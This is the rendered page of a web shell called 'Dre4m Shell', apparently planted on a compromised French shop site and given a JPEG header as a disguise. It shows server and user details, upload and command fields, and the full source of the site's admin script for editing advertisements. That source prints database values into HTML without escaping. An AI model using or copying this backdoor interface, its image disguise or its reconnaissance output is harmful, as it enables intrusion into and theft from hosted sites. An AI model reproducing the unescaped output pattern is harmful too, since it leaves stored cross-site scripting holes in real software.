ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/cp-admin//edit_advertising.php
<?php
include_once('includes/header.php');
$id_volet ="51";
include('includes/volet.php');
/****************************/

$adv_id = $_GET['id'];

if (isset($_POST['edit'])) {
  $requete = $bdd->prepare('UPDATE ' . $GLOBALS['db_table']['advertisings'] . ' SET name = :name, url = :url, location = :location, target = :target WHERE id = :id');

  if($_POST['target'] == '_blank')
  {
    $requete->execute(array(
      'name' => $_POST['name'],
      'url' => $_POST['urlExt'],
      'location' => $_POST['location'],
      'target' => $_POST['target'],
      'id' => $adv_id
    )); 
  }
  else
  {
    $requete->execute(array(
      'name' => $_POST['name'],
      'url' => $_POST['urlInt'],
      'location' => $_POST['location'],
      'target' => $_POST['target'],
      'id' => $adv_id
    ));
  }

  echo '<script>';
  echo 'window.location = "./advertisings.php"';
  echo '</script>';
}

?>

<div class="container">
    <div class="row">
    	<div class="span12">
        <form class="form-horizontal" method="post" action="#" enctype="multipart/form-data">
        	<div class="page-header">
           	 	<h1>Edition Publicité
           	 		<div class="pull-right">
            			<a href="advertisings.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>
                  <button type="submit" name="edit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>
        			</div>
        		</h1>
          	</div>
        </div>
    </div>

    <?php
$requete = $bdd->prepare('SELECT * FROM ' . $GLOBALS['db_table']['advertisings'] . ' WHERE id = :id');
$requete->execute(array('id' => $adv_id));
$list = $requete->fetchAll();

$i=0;
$id = $list[$i]['id'];
$position = $list[$i]['position'];
$location = $list[$i]['location'];
$name = $list[$i]['name'];
$picture = $list[$i]['picture'];
$url = $list[$i]['url'];
$target = $list[$i]['target'];

    echo '<div id="form-content" style="">';
        echo '<div class="row-fluid">';
          echo '<div class="span6">';
            echo '<div class="control-group">';
              echo '<label class="control-label" for="title">Publicité :</label>';
              echo '<div class="controls">';
                echo '<img src="../uploadfiles/slide1_internal/'.$picture.'" max-width="500px" max-eigth="250px">';
              echo '</div>';
            echo '</div>';
          echo '</div>';

          echo '<div class="span6">';
            echo '<div class="control-group">';
              echo '<label class="control-label" for="title">Titre :</label>';
              echo '<div class="controls">';
                echo '<input style="width:287px" name="name" id="name" value="'.$name.'" required="" type="text">';
              echo '</div>';
            echo '</div>';
            
            
            echo '<div class="control-group">';
              echo '<label class="control-label" for="title">Emplacement :</label>';
              echo '<div class="controls">';
                echo '<select name="location" id="location" data-placeholder="Emplacement" class="chosen-select" style="width:300px;">';
                    echo '<option value=""></option>';
                    echo '<option value="1"'; if($location == '1')echo ' selected'; echo '>Droit Haut</option>';
                    echo '<option value="2"'; if($location == '2')echo ' selected'; echo '>Droit Bas</option>';
                    echo '<option value="3"'; if($location == '3')echo ' selected'; echo '>Header</option>';
                    echo '<option value="4"'; if($location == '4')echo ' selected'; echo '>Colonne Gauche Fixe</option>';
                    echo '<option value="5"'; if($location == '5')echo ' selected'; echo '>Colonne Droite Fixe</option>';

                  echo '</select>';
              echo '</div>';
            echo '</div>';
            
            
            
              echo '<div class="control-group">';
                echo '<label class="control-label" for="title">Destination :</label>';
                echo '<div class="controls">';
                            echo '<select onchange="changeTarget()" name="target" id="target" data-placeholder="Type de lien" class="chosen-select" style="width:300px;">';
                            
                            if ($url =='') { echo '<option value="" selected>Aucun</option>'; 
                              echo '<option value="_blank"'; if($target == '_blank')echo ''; echo '>Externe</option>';
                              echo '<option value="_top"'; if($target != '_blank')echo ''; echo '>Interne</option>';

                            } else {
        
                              echo '<option value="">Aucun</option>';
                              echo '<option value="_blank"'; if($target == '_blank')echo ' selected'; echo '>Externe</option>';
                              echo '<option value="_top"'; if($target != '_blank')echo ' selected'; echo '>Interne</option>';
                           }
                              
                            echo '</select>';
                            echo '&nbsp;<a onMouseOver="infobulle(this, \'Pour une destination externe inscrivez la URL du lien Internet. (ex. http//:www.lesite.com/lapage.html)\');"><img src="assets/img/help.png"></a>';
                echo '</div>';
              echo '</div>';
              
              echo '<div id="int" class="control-group">';
                echo '<label class="control-label" for="title">Lien interne :</label>';
                echo '<div class="controls">';
                  echo '<select name="urlInt" style="width:300px;">';
                    echo '<option value=""></option>';
                    echo '<option value="blog"'; if($url == "blog")echo ' selected'; echo '>Blog</option>';
                    
                     $requete = $bdd->query('SELECT * FROM blog where status>0 ORDER BY position');
                    $list = $requete->fetchAll();
                    for($i=0; $i<count($list); $i++) {
                      $name = $list[$i]['title'];
                      $seo = $list[$i]['seo'];
                      echo '<option value="blog-' . $seo . '"'; if($url == 'blog-' . $seo)echo ' selected'; echo '>-' . $name . '</option>';
                    }
                   
                    echo '<option value="promotions"'; if($url == "promotions")echo ' selected'; echo '>Promotions</option>';
                    echo '<option value="nouveautes"'; if($url == "nouveautes")echo ' selected'; echo '>Nouveautés</option>';
                    echo '<option value="top-ventes"'; if($url == "top-ventes")echo ' selected'; echo '>Meilleures ventes</option>';
    
                    $requete = $bdd->query('SELECT * FROM cms ORDER BY position');
                    $list = $requete->fetchAll();
                    for($i=0; $i<count($list); $i++) {
                      $title = $list[$i]['title'];
                      $seo = $list[$i]['seo'];
                      echo '<option value="page-' . $seo . '"'; if($url == 'page-' . $seo)echo ' selected'; echo '>' . $title . '</option>';
                    }
    
                    $requete = $bdd->query('SELECT * FROM categories ORDER BY position');
                    $list = $requete->fetchAll();
                    for($i=0; $i<count($list); $i++) {
                      $name = $list[$i]['name'];
                      $seo = $list[$i]['seo'];
                      echo '<option value="categorie-' . $seo . '"'; if($url == 'categorie-' . $seo)echo ' selected'; echo '>' . $name . '</option>';
                    }
      
                  echo '</select>';
                echo '</div>';
              echo '</div>';
              
              echo '<div id="ext" class="control-group">';
                echo '<label class="control-label" for="title">Lien externe :</label>';
                echo '<div class="controls">';
                  echo '<input style="width:287px" name="urlExt" value="'.$url.'" type="text">';
                  echo '&nbsp;<a onMouseOver="infobulle(this, \'A FAIRE\');"><img src="assets/img/help.png"></a>';
                echo '</div>';
              echo '</div>';
            echo '</div>';
          echo '</div>';
        echo '</div>';
            echo '<input type="hidden" name="id" value="'.$id.'" />';
      echo '</form>';
    echo '</div>';
    ?>

<script type="text/javascript">
  function changeTarget() {
    if (document.getElementById("target").value  == '_blank') {
      document.getElementById("int").style.display = "none";
      document.getElementById("ext").style.display = "block";
    } else if (document.getElementById("target").value  == '_top') {
      document.getElementById("ext").style.display = "none";
      document.getElementById("int").style.display = "block";
    } else {
      console.log('erreur');
    }
    console.log('appel du script !');
  }
  changeTarget();
</script>

</div>
<script type="text/javascript" src="assets/js/chosen.jquery.js" ></script>
<script type="text/javascript">
    var config = {
        '.chosen-select'           : {},
        '.chosen-select-deselect'  : {allow_single_deselect:true},
        '.chosen-select-no-single' : {disable_search_threshold:10},
        '.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
        '.chosen-select-width'     : {width:"95%"}
    }
    for (var selector in config) {
        $(selector).chosen(config[selector]);
    }
</script>
<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team